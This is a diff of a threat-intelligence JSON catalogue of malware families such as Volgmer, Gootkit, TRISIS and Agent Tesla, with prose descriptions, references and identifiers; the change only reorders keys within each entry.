- "description": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer",
- "value": "Volgmer",
- "uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931"
+ "uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931",
+ "value": "Volgmer"
},
{
+ "description": "Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans",
"meta": {
"refs": [
"https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0"
]
},
- "description": "Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans",
- "value": "Nymaim",
- "uuid": "d36f4834-b958-4f32-aff0-5263e0034408"
+ "uuid": "d36f4834-b958-4f32-aff0-5263e0034408",
+ "value": "Nymaim"
},
{
+ "description": "As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.",
"meta": {
"refs": [
"https://securelist.com/inside-the-gootkit-cc-server/76433/",
@@ -3393,21 +3403,21 @@
"Gootkit"
]
},
- "description": "As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.",
- "value": "GootKit",
- "uuid": "07ffcf9f-b9c0-4b22-af4b-78527427e6f5"
+ "uuid": "07ffcf9f-b9c0-4b22-af4b-78527427e6f5",
+ "value": "GootKit"
},
{
+ "description": "Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel). ",
"meta": {
"refs": [
"https://www.agenttesla.com/"
]
},
- "description": "Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel). ",
- "value": "Agent Tesla",
- "uuid": "f8cd62cb-b9d3-4352-8f46-0961cfde104c"
+ "uuid": "f8cd62cb-b9d3-4352-8f46-0961cfde104c",
+ "value": "Agent Tesla"
},
{
+ "description": "A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/"
@@ -3416,45 +3426,45 @@
"HSDFSDCrypt"
]
},
- "description": "A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.",
- "value": "Ordinypt",
- "uuid": "1d46f816-d159-4457-b98e-c34307d90655"
+ "uuid": "1d46f816-d159-4457-b98e-c34307d90655",
+ "value": "Ordinypt"
},
{
+ "description": "Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.",
"meta": {
- "synonyms": [
- "Win32/StrongPity2"
- ],
"refs": [
"https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/"
+ ],
+ "synonyms": [
+ "Win32/StrongPity2"
]
},
- "description": "Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.",
- "value": "StrongPity2",
- "uuid": "d422e7c9-a2ac-45b2-9804-61d16a6e30e7"
+ "uuid": "d422e7c9-a2ac-45b2-9804-61d16a6e30e7",
+ "value": "StrongPity2"
},
{
+ "description": "WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites.\nThe malware was first spotted online over the summer by Italian security researcher Manuel D'Orso.\nThe initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware's name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/",
"https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-spreads-via-nulled-wordpress-themes/"
]
},
- "description": "WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites.\nThe malware was first spotted online over the summer by Italian security researcher Manuel D'Orso.\nThe initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware's name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.",
- "value": "wp-vcd",
- "uuid": "99de56dc-92c5-4540-91bc-a6cd1e3a3c7f"
+ "uuid": "99de56dc-92c5-4540-91bc-a6cd1e3a3c7f",
+ "value": "wp-vcd"
},
{
+ "description": "malicious program for auto replacement of payment data in AWS CBR",
"meta": {
"refs": [
"https://www.group-ib.com/blog/moneytaker"
]
},
- "description": "malicious program for auto replacement of payment data in AWS CBR",
- "value": "MoneyTaker 5.0",
- "uuid": "0acb6f04-7e51-44bb-843c-4bb55a3647d5"
+ "uuid": "0acb6f04-7e51-44bb-843c-4bb55a3647d5",
+ "value": "MoneyTaker 5.0"
},
{
+ "description": "Described as a \"professional exe loader / dll dropper\" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/quant-loader-is-now-bundled-with-other-crappy-malware/",
@@ -3462,21 +3472,21 @@
"https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/"
]
},
- "description": "Described as a \"professional exe loader / dll dropper\" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.",
- "value": "Quant Loader",
- "uuid": "2d1aadfb-03c1-4580-b6ac-f12c6941067d"
+ "uuid": "2d1aadfb-03c1-4580-b6ac-f12c6941067d",
+ "value": "Quant Loader"
},
{
+ "description": "The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.",
"meta": {
"refs": [
"https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/"
]
},
- "description": "The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.",
- "value": "SSHDoor",
- "uuid": "f258f96c-8281-4b24-8aa7-4e23d1a5540e"
+ "uuid": "f258f96c-8281-4b24-8aa7-4e23d1a5540e",
+ "value": "SSHDoor"
},
{
+ "description": "(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016. ",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html",
@@ -3486,11 +3496,11 @@
"TRITON"
]
},
- "description": "(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016. ",
- "value": "TRISIS",
- "uuid": "8a45d1a5-8157-4303-a47a-352282065059"
+ "uuid": "8a45d1a5-8157-4303-a47a-352282065059",
+ "value": "TRISIS"
},
{
+ "description": "macOS adware strain ",
"meta": {
"refs": [
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
@@ -3501,41 +3511,41 @@
"OSX/Pirrit"
]
},
- "description": "macOS adware strain ",
- "value": "OSX.Pirrit",
- "uuid": "e2b7ddc2-2fce-4ef9-9054-609e74a8775e"
+ "uuid": "e2b7ddc2-2fce-4ef9-9054-609e74a8775e",
+ "value": "OSX.Pirrit"
},
{
+ "description": "GratefulPOS has the following functions\n1. Access arbitrary processes on the target POS system\n2. Scrape track 1 and 2 payment card data from the process(es)\n3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.",
"meta": {
"refs": [
"https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season"
]
},
- "description": "GratefulPOS has the following functions\n1. Access arbitrary processes on the target POS system\n2. Scrape track 1 and 2 payment card data from the process(es)\n3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.",
- "value": "GratefulPOS",
- "uuid": "4cfe3f22-96b8-4d3d-a6cc-85835d9471e2"
+ "uuid": "4cfe3f22-96b8-4d3d-a6cc-85835d9471e2",
+ "value": "GratefulPOS"
},
{
- "meta": {
- "refs": [
- "http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/"
- ]
- },
"description": "Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.",
- "value": "PRILEX",
- "uuid": "523e8772-0610-424c-bcfb-9123bcb8328f"
- },
- {
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/"
]
},
- "description": "Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.",
- "value": "CUTLET MAKER",
- "uuid": "c03e7054-6013-4f69-994d-7cdaa41588ed"
+ "uuid": "523e8772-0610-424c-bcfb-9123bcb8328f",
+ "value": "PRILEX"
},
{
+ "description": "Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.",
+ "meta": {
+ "refs": [
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/"
+ ]
+ },
+ "uuid": "c03e7054-6013-4f69-994d-7cdaa41588ed",
+ "value": "CUTLET MAKER"
+ },
+ {
+ "description": "According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/",
@@ -3545,81 +3555,81 @@
"Okiru"
]
},
- "description": "According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.",
- "value": "Satori",
- "uuid": "1ad4697b-3388-48ed-8621-85abebf5dbbf"
+ "uuid": "1ad4697b-3388-48ed-8621-85abebf5dbbf",
+ "value": "Satori"
},
{
- "meta": {
- "refs": [
- "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
- ]
- },
"description": "PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.",
- "value": "PowerSpritz",
- "uuid": "5629bc84-58eb-42d9-adc6-cd0eeb08ccaf"
- },
- {
"meta": {
"refs": [
"https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
]
},
- "description": "PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.",
- "value": "PowerRatankba",
- "uuid": "1f1be19e-d1b5-408b-90a0-03ad27cc8924"
+ "uuid": "5629bc84-58eb-42d9-adc6-cd0eeb08ccaf",
+ "value": "PowerSpritz"
},
{
+ "description": "PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.",
+ "meta": {
+ "refs": [
+ "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
+ ]
+ },
+ "uuid": "1f1be19e-d1b5-408b-90a0-03ad27cc8924",
+ "value": "PowerRatankba"
+ },
+ {
+ "description": "In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication.\nThe threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/"
]
},
- "description": "In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication.\nThe threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.",
- "value": "Ratankba",
- "uuid": "64b3c66b-fc70-4b5a-83a9-866cde2ccb0b"
+ "uuid": "64b3c66b-fc70-4b5a-83a9-866cde2ccb0b",
+ "value": "Ratankba"
},
{
- "meta": {
- "refs": [
- "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
- ]
- },
"description": "USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.",
- "value": "USBStealer",
- "uuid": "44909efb-7cd3-42e3-b225-9f3e96b5f362"
- },
- {
"meta": {
"refs": [
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
]
},
- "description": "Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.",
- "value": "Downdelph",
- "uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a"
+ "uuid": "44909efb-7cd3-42e3-b225-9f3e96b5f362",
+ "value": "USBStealer"
},
{
+ "description": "Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.",
+ "meta": {
+ "refs": [
+ "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
+ ]
+ },
+ "uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a",
+ "value": "Downdelph"
+ },
+ {
+ "description": "Monero-mining malware",
"meta": {
"refs": [
"https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/"
]
},
- "description": "Monero-mining malware",
- "value": "CoinMiner",
- "uuid": "89bd2020-2594-45c4-8957-522c0ac41370"
+ "uuid": "89bd2020-2594-45c4-8957-522c0ac41370",
+ "value": "CoinMiner"
},
{
+ "description": "A fully-featured backdoor, designed to perversely spy on Mac users",
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html#FruitFly"
]
},
- "description": "A fully-featured backdoor, designed to perversely spy on Mac users",
- "value": "FruitFly",
- "uuid": "6a6525b9-4656-4973-ab45-588592395d0c"
+ "uuid": "6a6525b9-4656-4973-ab45-588592395d0c",
+ "value": "FruitFly"
},
{
+ "description": "Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.",
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html#MacDownloader"
@@ -3628,11 +3638,11 @@
"iKitten"
]
},
- "description": "Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.",
- "value": "MacDownloader",
- "uuid": "14f08f6f-7f58-48a8-8469-472244ffb571"
+ "uuid": "14f08f6f-7f58-48a8-8469-472244ffb571",
+ "value": "MacDownloader"
},
{
+ "description": "The open-source macOS backdoor, 'Empye', maliciously packaged into a macro'd Word document",
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html#Empyre"
@@ -3641,51 +3651,51 @@
"Empye"
]
},
- "description": "The open-source macOS backdoor, 'Empye', maliciously packaged into a macro'd Word document",
- "value": "Empyre",
- "uuid": "cf55bbb8-37eb-4cc6-ac14-7b42b950c687"
+ "uuid": "cf55bbb8-37eb-4cc6-ac14-7b42b950c687",
+ "value": "Empyre"
},
{
+ "description": "A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.",
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html#Proton"
]
},
- "description": "A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.",
- "value": "Proton",
- "uuid": "a495d254-7092-4a63-9872-3a82c13fe2dd"
+ "uuid": "a495d254-7092-4a63-9872-3a82c13fe2dd",
+ "value": "Proton"
},
{
- "meta": {
- "refs": [
- "https://objective-see.com/blog/blog_0x25.html"
- ]
- },
"description": "Adware which hijacks a macOS user's homepage to redirect search queries.",
- "value": "Mughthesec",
- "uuid": "4e2f0af2-6d2d-4a49-adc9-fae3745fcb72"
- },
- {
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html"
]
},
+ "uuid": "4e2f0af2-6d2d-4a49-adc9-fae3745fcb72",
+ "value": "Mughthesec"
+ },
+ {
"description": "A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.",
- "value": "Pwnet",
- "uuid": "29e52693-b325-4c14-93de-8f2ff9dca8bf"
- },
- {
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html"
]
},
- "description": "A macOS crypto-currency mining trojan.",
- "value": "CpuMeaner",
- "uuid": "5bc62523-dc80-46b4-b5cb-9caf44c11552"
+ "uuid": "29e52693-b325-4c14-93de-8f2ff9dca8bf",
+ "value": "Pwnet"
},
{
+ "description": "A macOS crypto-currency mining trojan.",
+ "meta": {
+ "refs": [
+ "https://objective-see.com/blog/blog_0x25.html"
+ ]
+ },
+ "uuid": "5bc62523-dc80-46b4-b5cb-9caf44c11552",
+ "value": "CpuMeaner"
+ },
+ {
+ "description": "The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.",
"meta": {
"refs": [
"https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/"
@@ -3694,51 +3704,51 @@
"PYLOT"
]
},
- "description": "The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.",
- "value": "Travle",
- "uuid": "9d689318-2bc1-4bfb-92ee-a81fea35434f"
+ "uuid": "9d689318-2bc1-4bfb-92ee-a81fea35434f",
+ "value": "Travle"
},
{
+ "description": "Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.",
"meta": {
"refs": [
"https://blog.trendmicro.com/trendlabs-security-intelligence/digmine-cryptocurrency-miner-spreading-via-facebook-messenger/"
]
},
- "description": "Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.",
- "value": "Digmine",
- "uuid": "d248a27c-d036-4032-bc70-803a1b0c8148"
+ "uuid": "d248a27c-d036-4032-bc70-803a1b0c8148",
+ "value": "Digmine"
},
{
+ "description": "TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.",
"meta": {
"refs": [
"http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html"
]
},
- "description": "TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.",
- "value": "TSCookie",
- "uuid": "a71ed71f-b8f4-416d-9c57-910a42e59430"
+ "uuid": "a71ed71f-b8f4-416d-9c57-910a42e59430",
+ "value": "TSCookie"
},
{
+ "description": "Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.",
"meta": {
"refs": [
"http://news.softpedia.com/news/Exforel-Backdoor-Implemented-at-NDIS-Level-to-Be-More-Stealthy-Experts-Say-313567.shtml"
]
},
- "description": "Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.",
- "value": "Exforel",
- "uuid": "3119554e-236e-11e8-ae2e-b7063732fd07"
+ "uuid": "3119554e-236e-11e8-ae2e-b7063732fd07",
+ "value": "Exforel"
},
{
+ "description": "W32.Rotinom is a worm that spreads by copying itself to removable drives. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99"
]
},
- "description": "W32.Rotinom is a worm that spreads by copying itself to removable drives. ",
- "value": "Rotinom",
- "uuid": "5f4be30a-2373-11e8-bbab-774ff49fd040"
+ "uuid": "5f4be30a-2373-11e8-bbab-774ff49fd040",
+ "value": "Rotinom"
},
{
+ "description": "You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the \"Aurora Exploit\". The code has recently gone public and it was also added to the Metasploit framework.\nThis exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers.\nThe exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.",
"meta": {
"refs": [
"https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit",
@@ -3749,11 +3759,11 @@
"Hydraq"
]
},
- "description": "You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the \"Aurora Exploit\". The code has recently gone public and it was also added to the Metasploit framework.\nThis exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers.\nThe exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.",
- "value": "Aurora",
- "uuid": "70c31066-237a-11e8-8eff-37ef1ad0c703"
+ "uuid": "70c31066-237a-11e8-8eff-37ef1ad0c703",
+ "value": "Aurora"
},
{
+ "description": "Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware.\nThe time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems.\nThe malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++.\nA sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.",
"meta": {
"refs": [
"https://www.youtube.com/watch?v=u2Ry9HTBbZI",
@@ -3761,11 +3771,11 @@
"https://www.peerlyst.com/posts/hack-lu-2016-recap-interesting-malware-no-i-m-not-kidding-by-marion-marschalek-claus-cramon"
]
},
- "description": "Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware.\nThe time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems.\nThe malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++.\nA sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.",
- "value": "Cheshire Cat",
- "uuid": "7af226a0-237d-11e8-b438-075460988010"
+ "uuid": "7af226a0-237d-11e8-b438-075460988010",
+ "value": "Cheshire Cat"
},
{
+ "description": "Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain \"root\" access (administrator level access) to your computer without your knowledge",
"meta": {
"refs": [
"https://www.solvusoft.com/en/malware/trojans/downloader-fgo/"
@@ -3785,32 +3795,32 @@
],
"uuid": "c565a3a4-2384-11e8-99e9-ebd8ea5c3c3e"
},
- "description": "Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain \"root\" access (administrator level access) to your computer without your knowledge",
- "value": "Downloader-FGO",
- "uuid": "1a3f876f-0f52-497f-b3ff-b995e2d42c15"
+ "uuid": "1a3f876f-0f52-497f-b3ff-b995e2d42c15",
+ "value": "Downloader-FGO"
},
{
+ "description": "Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says.\nKaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed \"miniFlame.\"\nWhile capable of working with Flame and Gauss, miniFlame is a \"small, fully functional espionage module designed for data theft and direct access to infected systems,\" Kaspersky said.",
"meta": {
"refs": [
"https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/",
"https://www.csoonline.com/article/2132422/malware-cybercrime/cyberespionage-malware--miniflame--discovered.html"
]
},
- "description": "Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says.\nKaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed \"miniFlame.\"\nWhile capable of working with Flame and Gauss, miniFlame is a \"small, fully functional espionage module designed for data theft and direct access to infected systems,\" Kaspersky said.",
- "value": "miniFlame",
- "uuid": "16c57264-239f-11e8-9469-0738871e7aa4"
+ "uuid": "16c57264-239f-11e8-9469-0738871e7aa4",
+ "value": "miniFlame"
},
{
+ "description": "PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.",
"meta": {
"refs": [
